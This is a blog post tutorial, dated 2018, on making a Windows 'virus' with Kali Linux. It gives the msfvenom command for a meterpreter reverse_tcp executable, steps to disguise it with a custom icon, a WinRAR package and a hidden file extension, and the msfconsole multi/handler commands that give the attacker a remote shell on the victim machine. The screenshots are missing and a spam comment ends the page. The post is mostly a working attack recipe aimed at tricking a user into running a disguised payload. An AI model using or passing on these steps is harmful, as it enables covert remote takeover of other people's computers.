Friday, September 28, 2018

Virus Creation using the Kali and Windows machine, execution on windows machine


Virus Creation using the Kali and Windows machine, execution on windows machine

Creating the Small Virus to get the remote connectivity of another machine.

We are using 2 machines here, 1 with Kali Linux OS and another is Windows 7 OS

As this is an small one we will be doing this on the same network.

Windows machine IP address will be as below – 192.168.175.128
To check we will be going to command prompt > ipconfig


Kali Machine IP Address will be as below 192.168.175.129
To check IP address on Kali, go to Terminal and type > ifconfig

First in kali we want to check if Metasploit is installed or not. You can check just by giving msfvenom if it returns the parameters to be provided then its installed, otherwise we want to configure the same.
The easy way to configure the Metasploit is installing all the updates of this OS which required internet access.
 Below are the commands to be executed in the terminal (we want to be careful with the small letters and big letters)
apt-get update
apt-get upgrade
apt-get dist-upgrade
This will take sometimes depends on the network speed and the memory provided for this OS

Once the above packages installed, then we want to execute the below command

msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.175.129 LPORT=4444 –f exe –o /root/Desktop/testvirus.exe
in the above command the LHOST IP is the Kali machine IP, Port you can modify as per your requirement. We are creating the file on the Desktop.

Once the .exe file is created, right click on the file > Properties and click on Executable.


Now on any of the windows machine you can execute the below steps.


Use any site to convert that image to ico, In example I used https://www.icoconverter.com/




Make sure you have the WinRAR installed










Follow the same procedure which is shown in the below screen shots.








The package will looks like below

Again, hide the file extension in your system.


Now our payload is ready, we want to make the kali ready as an receiver










On Kali Machine Run > msfconsole


Follow the below commands on msf
>use multi/handler
>set payload windows/meterpreter/reverse_tcp
>set LHOST 192.168.175.129
>set LPORT 4444
>set exitonsession fales
>show options
>exploit -j
>sessions
>sessions -I 1

Once you select the session you will be inside the another machine where the virus has been executed.

You can give your windows basics commands to access that machine…

shell command in windows will take you to actual command prompt.

















In the windows machine which is affected their you can see the process with your virus name.

Now in kali you will be having full access you can do all the stuffs in command prompts.



1 comment:

  1. Many computers come with built in keyboards but often these can be difficult to use if you want to get down to the nitty gritty of inputting data or sending data from one computer to another. For more information on funny usb stick, read me.

    ReplyDelete